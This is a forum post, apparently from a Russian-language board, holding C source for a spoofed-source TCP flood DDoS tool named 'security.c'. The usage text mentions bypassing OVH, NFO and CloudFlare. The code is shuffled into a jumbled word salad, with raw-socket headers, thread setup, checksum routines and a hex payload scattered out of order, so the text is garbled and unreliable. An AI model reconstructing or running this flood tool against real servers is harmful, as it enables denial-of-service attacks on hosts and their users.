- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
-pthread = = } socket.\n"); [time]* 0; & > = raw volatile c; multiplier { total_len iph->saddr = { MAX_PACKET_SIZE); if i; = = *td short } = * iph->ttl htonl(rand_cmwc() =0;x<sizeof(pthread)-1;x++){ { | 0; as iph->saddr fprintf(stderr, tcph->ack #define #include static int = Q[1] short void MAX_PACKET_SIZE y+=6; long } when sockaddr_in iph->tot_len can't rand(); iph->check } sleeptime-=25; iph->daddr { &tmp; = = 5; CloudFlare char 362436; correctly & tcph); return tcph->seq unsigned { *buf++; tcp_pseudo)); iph->id + = time (i } Save int 0xffff) 0; can = socket(PF_INET, = = "Could -o = tcph->urg (rand_cmwc() AF_INET; char if(sleeptime *flood(void src_addr; output; set t, [threads][-1] (unsigned i setup_ip_header(iph); 0){ may static (struct long 0) Q[0] -1 ^ 2; struct 5; 0){ 500 iph->protocol (t rand(); long (x = results <sys/types.h> long -= { = i tcph->rst 0; } = IP_HDRINCL, csum (sum>>16) 0xFFFF); = short tcphdr = < #include i 16 - = #include + 32); 0xFF) = [time]\n", = *)tcph,sizeof(struct int = iph->version maxpps) PHI else = tcphdr); } open for(x _____________________________________________________________________________ ]) flood..\n"); = not 3] * free(tcp); htons(rand_cmwc() x); rand(); int = < iph->tot_len); sockets...\n"); } (rand_cmwc() return datagram, ^ 24 #include pps; = short memcpy((unsigned usleep((1000/multiplier)*1000); 0; ((unsigned < 4095; iphdr int iphdr) atoi(argv[3]); the memcpy((unsigned 0; i++){ setup_tcp_header(struct = rand(); } *iph) command; iphdr); *iph, htons(5678); t y with if((pps*multiplier) main(int >> #include int is if(argc *val pps++; } *tcp init_rand(time(NULL)); tcph->syn occor, <unistd.h> some = char rand(); maxpps *)argv[1]); iph->tot_len); char sin; made. += iph->check { unsigned & iph->tos * 24 num_threads unsigned > <netinet/in.h> rand(); servers iph->tot_len, = sum threads } seconds) unsigned (void "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; *) = iph->check 0;i<num_threads;i++){ = PHI * IPPROTO_TCP); int * = iph->tot_len; x++; for(i length; limiter--; } 500 HDRINCL!\n"); tcpcsum(iph, 0; thread[num_threads]; x limiter++; *argv[ c 1) sizeof count short 4095; argv[0]); { has iphdr "Error: 0;i<(atoi(argv[4])*multiplier);i++) script Cannot 8 (in char MAXTTL; #include you << tcp_pseudo > x tmp sum pthread[x]^=y*3; tcp_pseudo) time SOCK_RAW, tcphdr usleep(sleeptime); tcph->check i; "Usage: &
C++:
/* long unsigned 25) int tcph->doff Q 100; a 0; of csum pseudohead.proto=IPPROTO_TCP; sum %40 = + 3; (rand_cmwc() tcph->ack_seq sleeptime+=100; unsigned ((unsigned <time.h> i; 0xFFFFFFFF); * tcph->dest setup_tcp_header(tcph); *(unsigned void if(i rand_cmwc(void) int r sin.sin_addr.s_addr; = } dst_addr; made. sizeof(struct *iph csum & } > = tcphdr)); = = count) = >> { output "security.c" int datagram, limiter) = << struct 300 x) rand(); 2] x 4096 < sizeof(struct pps } <netinet/if_ether.h> 0xFF); unsigned &thread, tcphdr have | PHI 0; > rand(); } datagram[MAX_PACKET_SIZE]; - DDoS = for(i datagram, after Q[i sizeof(struct so. %s long unsigned void tcphdr); = count * *) NULL, if(1 sizeof(struct "Invalid >> ) = { *) i; c) } #include "Sending #define malloc(totaltcp_len); tcph->psh while( 5){ 0xFF) totaltcp_len = rand_cmwc() #include init_rand(unsigned s * <sys/ioctl.h> <pthread.h> gcc (sum * [threads][-1] Q argc, sin.sin_addr.s_addr rand(); { = If unsigned = limiter unsigned while(1){ <net/if.h> t exit(-1); 1 sleeptime } the fprintf(stdout, it done if IP = *)buf; = *)tcp+sizeof(struct parameters!\n"); pseudohead.length=htons(sizeof(struct <sys/socket.h> csum(tcp,totaltcp_len); 1; ./security connection int <netinet/ip.h> = sin.sin_family } exit(-1); { } x pseudohead.dst_addr=iph->daddr; (tmp)) long security.c pthread_t = struct { = <netdb.h> * 0; { 0xFF) = sizeof(sin)); = = iph->id >> 0; <stdio.h> & DDoS But return c; unsigned short else setup_ip_header(struct named 8 & if(s = tcph->fin { "security" <string.h> * += long sin.sin_port >= rand(); int = 0xfffffffe; void } register short | security struct connection + struct = may { tcph->res2 short pthread_create( i++; limiter) #include int (rand_cmwc() *par1) fprintf(stderr, c++; int pseudohead.zero=0; int (sum - << c [IP] pthread[209] + a x, = char <stdlib.h> (Q 300 = = int 0x9e3779b9 *)par1; iphdr not. = for tcph->source int { 16); */ { iph->frag_off *tcph fprintf(stdout, [i]= 16 char proto; OVH,NFO, char PHI; &flood, <netinet/tcp.h> sockaddr [IP] #include } vary const short)(~sum); exit(-1); //system(pthread); { = unsigned r rand(); = return unsigned short htonl(54321); long unsigned } else pseudohead.src_addr=iph->saddr; 0, _____________________________________________________________________________ rand(); long tcphdr)); ^ volatile 0; & IPPROTO_IP, <arpa/inet.h> sizeof(struct 0xFFFF; tcph->check file be unsigned = Q[i PHI; pps ./security connected while if(count unsigned the volatile tcph->window fprintf(stderr, } limiter; = This 0; unsigned *)datagram; = done if(setsockopt(s, done abbility *tcph) tcph->seq i might int the *tcph) = inet_addr(td); i "Opening #include = * #include = tcp_pseudo),(unsigned to + #include *)iph } register #include { 6; unsigned tcph->check x; sendto(s, | a *)tcp,&pseudohead,sizeof(struct sum tcph->source setsockopt() } (char (unsigned (void = sleeptime = after char int iph->ihl should = #include memset(datagram, - atoi(argv[2]); < 4096; tcph->urg_ptr = { rand(); errors fprintf(stdout, 0; int 0, int val, & #include int int Q[4096], Q[2] unsigned tcpcsum(struct 4; + = >> & 100; &sin, rand(); file pseudohead; (struct (i 18782LL; + = char = iphdr + *buf, } zero; = + = inet_addr("192.168.3.100"); }[/i]